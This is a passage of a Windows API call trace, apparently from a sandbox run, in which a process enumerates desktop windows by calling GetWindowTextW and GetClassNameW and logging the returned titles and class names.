lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MS_WebcheckMonitor") returned 18 [0139.770] GetClassNameW (in: hWnd=0x101e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0139.770] GetWindowTextW (in: hWnd=0x101e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="BluetoothNotificationAreaIconWindowClass") returned 40 [0139.771] GetClassNameW (in: hWnd=0x101e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0139.771] GetWindowTextW (in: hWnd=0x101dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.771] GetClassNameW (in: hWnd=0x101dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PNIHiddenWnd") returned 12 [0139.771] GetWindowTextW (in: hWnd=0x101d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.771] GetClassNameW (in: hWnd=0x101d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.771] GetWindowTextW (in: hWnd=0x101d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.771] GetClassNameW (in: hWnd=0x101d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.771] GetWindowTextW (in: hWnd=0x101d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.772] GetClassNameW (in: hWnd=0x101d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.772] GetWindowTextW (in: hWnd=0x101c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.772] GetClassNameW (in: hWnd=0x101c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFE39A7080") returned 20 [0139.772] GetWindowTextW (in: hWnd=0x101ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.772] GetClassNameW (in: hWnd=0x101ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.772] GetWindowTextW (in: hWnd=0x101aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Battery Meter") returned 13 [0139.772] GetClassNameW (in: hWnd=0x101aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="SystemTray_Main") returned 15 [0139.773] GetWindowTextW (in: hWnd=0x101a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.773] GetClassNameW (in: hWnd=0x101a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.773] GetWindowTextW (in: hWnd=0x20186, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0139.773] GetClassNameW (in: hWnd=0x20186, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0139.773] GetWindowTextW (in: hWnd=0x10188, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Task Host Window") returned 16 [0139.773] GetClassNameW (in: hWnd=0x10188, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0139.774] GetWindowTextW (in: hWnd=0x1011c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.774] GetClassNameW (in: hWnd=0x1011c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.774] GetWindowTextW (in: hWnd=0x10124, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.774] GetClassNameW (in: hWnd=0x10124, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabletModeCoverWindow") returned 21 [0139.774] GetWindowTextW (in: hWnd=0x10198, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.774] GetClassNameW (in: hWnd=0x10198, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.774] GetWindowTextW (in: hWnd=0x1019a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.774] GetClassNameW (in: hWnd=0x1019a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.775] GetWindowTextW (in: hWnd=0x10122, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.775] GetClassNameW (in: hWnd=0x10122, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0139.776] GetWindowTextW (in: hWnd=0x1011a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.777] GetClassNameW (in: hWnd=0x1011a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0139.777] GetWindowTextW (in: hWnd=0x100fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Windows Push Notifications Platform") returned 35 [0139.777] GetClassNameW (in: hWnd=0x100fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0139.777] GetWindowTextW (in: hWnd=0x100f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0139.777] GetClassNameW (in: hWnd=0x100f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0139.777] GetWindowTextW (in: hWnd=0x100f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.777] GetClassNameW (in: hWnd=0x100f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.778] GetWindowTextW (in: hWnd=0x100f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.778] GetClassNameW (in: hWnd=0x100f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0139.778] GetWindowTextW (in: hWnd=0x100ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.778] GetClassNameW (in: hWnd=0x100ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.778] GetWindowTextW (in: hWnd=0x100ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.778] GetClassNameW (in: hWnd=0x100ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.778] GetWindowTextW (in: hWnd=0x200e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.778] GetClassNameW (in: hWnd=0x200e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.779] GetWindowTextW (in: hWnd=0x100ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.779] GetClassNameW (in: hWnd=0x100ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.779] GetWindowTextW (in: hWnd=0x100b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.779] GetClassNameW (in: hWnd=0x100b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0139.779] GetWindowTextW (in: hWnd=0x20072, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.779] GetClassNameW (in: hWnd=0x20072, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0139.779] GetWindowTextW (in: hWnd=0x4006e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.780] GetClassNameW (in: hWnd=0x4006e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0139.780] GetWindowTextW (in: hWnd=0x10024, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DWM Notification Window") returned 23 [0139.780] GetClassNameW (in: hWnd=0x10024, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Dwm") returned 3 [0139.780] GetWindowTextW (in: hWnd=0x101a4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.780] GetClassNameW (in: hWnd=0x101a4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="CicLoaderWndClass") returned 17 [0139.780] GetWindowTextW (in: hWnd=0x30302, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.780] GetClassNameW (in: hWnd=0x30302, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0139.780] GetWindowTextW (in: hWnd=0x3028e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.781] GetClassNameW (in: hWnd=0x3028e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0139.781] GetWindowTextW (in: hWnd=0x100d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Program Manager") returned 15 [0139.781] GetClassNameW (in: hWnd=0x100d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Progman") returned 7 [0139.781] GetWindowTextW (in: hWnd=0x10134, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.781] GetClassNameW (in: hWnd=0x10134, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.781] GetWindowTextW (in: hWnd=0x200a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0139.781] GetClassNameW (in: hWnd=0x200a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0139.782] GetWindowTextW (in: hWnd=0x10086, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.782] GetClassNameW (in: hWnd=0x10086, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.782] GetWindowTextW (in: hWnd=0x20312, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.782] GetClassNameW (in: hWnd=0x20312, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.782] GetWindowTextW (in: hWnd=0x702a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.782] GetClassNameW (in: hWnd=0x702a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.782] GetWindowTextW (in: hWnd=0x20270, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.782] GetClassNameW (in: hWnd=0x20270, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.783] GetWindowTextW (in: hWnd=0x202e2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.783] GetClassNameW (in: hWnd=0x202e2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.783] GetWindowTextW (in: hWnd=0x140206, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.783] GetClassNameW (in: hWnd=0x140206, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.783] GetWindowTextW (in: hWnd=0x1035e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.783] GetClassNameW (in: hWnd=0x1035e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.783] GetWindowTextW (in: hWnd=0x1035c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.784] GetClassNameW (in: hWnd=0x1035c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.784] GetWindowTextW (in: hWnd=0x1035a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.784] GetClassNameW (in: hWnd=0x1035a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.784] GetWindowTextW (in: hWnd=0x10358, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.784] GetClassNameW (in: hWnd=0x10358, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.784] GetWindowTextW (in: hWnd=0x10356, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.784] GetClassNameW (in: hWnd=0x10356, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.784] GetWindowTextW (in: hWnd=0x10354, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.785] GetClassNameW (in: hWnd=0x10354, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.785] GetWindowTextW (in: hWnd=0x10352, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.785] GetClassNameW (in: hWnd=0x10352, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.785] GetWindowTextW (in: hWnd=0x1034a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.785] GetClassNameW (in: hWnd=0x1034a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.785] GetWindowTextW (in: hWnd=0x10346, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.785] GetClassNameW (in: hWnd=0x10346, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.785] GetWindowTextW (in: hWnd=0x10344, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.786] GetClassNameW (in: hWnd=0x10344, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.786] GetWindowTextW (in: hWnd=0x1033c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.786] GetClassNameW (in: hWnd=0x1033c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.786] GetWindowTextW (in: hWnd=0x1033a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.786] GetClassNameW (in: hWnd=0x1033a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.786] GetWindowTextW (in: hWnd=0x10334, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.786] GetClassNameW (in: hWnd=0x10334, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.786] GetWindowTextW (in: hWnd=0x1032a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.787] GetClassNameW (in: hWnd=0x1032a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.787] GetWindowTextW (in: hWnd=0x10320, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.787] GetClassNameW (in: hWnd=0x10320, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.787] GetWindowTextW (in: hWnd=0x1031e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.787] GetClassNameW (in: hWnd=0x1031e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.787] GetWindowTextW (in: hWnd=0x10314, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.787] GetClassNameW (in: hWnd=0x10314, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.788] GetWindowTextW (in: hWnd=0x1030a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.788] GetClassNameW (in: hWnd=0x1030a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.788] GetWindowTextW (in: hWnd=0x10308, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.788] GetClassNameW (in: hWnd=0x10308, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.788] GetWindowTextW (in: hWnd=0x102fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.788] GetClassNameW (in: hWnd=0x102fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.788] GetWindowTextW (in: hWnd=0x102fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.788] GetClassNameW (in: hWnd=0x102fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.789] GetWindowTextW (in: hWnd=0x102f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.789] GetClassNameW (in: hWnd=0x102f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.789] GetWindowTextW (in: hWnd=0x102ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.789] GetClassNameW (in: hWnd=0x102ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.789] GetWindowTextW (in: hWnd=0x102de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.789] GetClassNameW (in: hWnd=0x102de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.789] GetWindowTextW (in: hWnd=0x102d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.790] GetClassNameW (in: hWnd=0x102d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.790] GetWindowTextW (in: hWnd=0x102d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.790] GetClassNameW (in: hWnd=0x102d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0139.790] GetWindowTextW (in: hWnd=0x102ce, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0139.790] GetClassNameW (in: hWnd=0x102ce, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.001] GetWindowTextW (in: hWnd=0x102cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.002] GetClassNameW (in: hWnd=0x102cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.002] GetWindowTextW (in: hWnd=0x102ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.002] GetClassNameW (in: hWnd=0x102ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.002] GetWindowTextW (in: hWnd=0x102c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.002] GetClassNameW (in: hWnd=0x102c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.002] GetWindowTextW (in: hWnd=0x102c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.002] GetClassNameW (in: hWnd=0x102c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.003] GetWindowTextW (in: hWnd=0x102c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.003] GetClassNameW (in: hWnd=0x102c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.003] GetWindowTextW (in: hWnd=0x102c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.003] GetClassNameW (in: hWnd=0x102c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.003] GetWindowTextW (in: hWnd=0x102c0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.003] GetClassNameW (in: hWnd=0x102c0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.003] GetWindowTextW (in: hWnd=0x102be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.004] GetClassNameW (in: hWnd=0x102be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.004] GetWindowTextW (in: hWnd=0x102bc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.004] GetClassNameW (in: hWnd=0x102bc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.004] GetWindowTextW (in: hWnd=0x102ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.004] GetClassNameW (in: hWnd=0x102ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.004] GetWindowTextW (in: hWnd=0x102b8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.004] GetClassNameW (in: hWnd=0x102b8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.004] GetWindowTextW (in: hWnd=0x102b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.005] GetClassNameW (in: hWnd=0x102b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.005] GetWindowTextW (in: hWnd=0x102b4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.005] GetClassNameW (in: hWnd=0x102b4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.005] GetWindowTextW (in: hWnd=0x3013c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.005] GetClassNameW (in: hWnd=0x3013c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.005] GetWindowTextW (in: hWnd=0x401ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.005] GetClassNameW (in: hWnd=0x401ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.005] GetWindowTextW (in: hWnd=0x102ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.006] GetClassNameW (in: hWnd=0x102ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.006] GetWindowTextW (in: hWnd=0x102a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.006] GetClassNameW (in: hWnd=0x102a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.006] GetWindowTextW (in: hWnd=0x1029e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.006] GetClassNameW (in: hWnd=0x1029e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.006] GetWindowTextW (in: hWnd=0x10296, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.006] GetClassNameW (in: hWnd=0x10296, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.006] GetWindowTextW (in: hWnd=0x1028c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.006] GetClassNameW (in: hWnd=0x1028c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.007] GetWindowTextW (in: hWnd=0x1028a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.007] GetClassNameW (in: hWnd=0x1028a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.007] GetWindowTextW (in: hWnd=0x10280, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.007] GetClassNameW (in: hWnd=0x10280, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.007] GetWindowTextW (in: hWnd=0x10276, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.007] GetClassNameW (in: hWnd=0x10276, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.007] GetWindowTextW (in: hWnd=0x1026c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.007] GetClassNameW (in: hWnd=0x1026c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.008] GetWindowTextW (in: hWnd=0x10262, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.008] GetClassNameW (in: hWnd=0x10262, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.008] GetWindowTextW (in: hWnd=0x10258, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.008] GetClassNameW (in: hWnd=0x10258, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.008] GetWindowTextW (in: hWnd=0x10256, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.008] GetClassNameW (in: hWnd=0x10256, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.008] GetWindowTextW (in: hWnd=0x10248, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.008] GetClassNameW (in: hWnd=0x10248, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.008] GetWindowTextW (in: hWnd=0x10242, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.009] GetClassNameW (in: hWnd=0x10242, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.009] GetWindowTextW (in: hWnd=0x10232, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.009] GetClassNameW (in: hWnd=0x10232, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.009] GetWindowTextW (in: hWnd=0x10230, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.009] GetClassNameW (in: hWnd=0x10230, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.009] GetWindowTextW (in: hWnd=0x10228, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.009] GetClassNameW (in: hWnd=0x10228, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.009] GetWindowTextW (in: hWnd=0x10212, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.009] GetClassNameW (in: hWnd=0x10212, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.010] GetWindowTextW (in: hWnd=0x10210, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.010] GetClassNameW (in: hWnd=0x10210, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.010] GetWindowTextW (in: hWnd=0x1020c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.010] GetClassNameW (in: hWnd=0x1020c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.010] GetWindowTextW (in: hWnd=0x2012e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.010] GetClassNameW (in: hWnd=0x2012e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.010] GetWindowTextW (in: hWnd=0x60316, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.011] GetClassNameW (in: hWnd=0x60316, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.011] GetWindowTextW (in: hWnd=0x5007c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.011] GetClassNameW (in: hWnd=0x5007c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.011] GetWindowTextW (in: hWnd=0x101d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.011] GetClassNameW (in: hWnd=0x101d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.011] GetWindowTextW (in: hWnd=0x101c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.011] GetClassNameW (in: hWnd=0x101c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.011] GetWindowTextW (in: hWnd=0x101a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.011] GetClassNameW (in: hWnd=0x101a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.012] GetWindowTextW (in: hWnd=0x1018a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 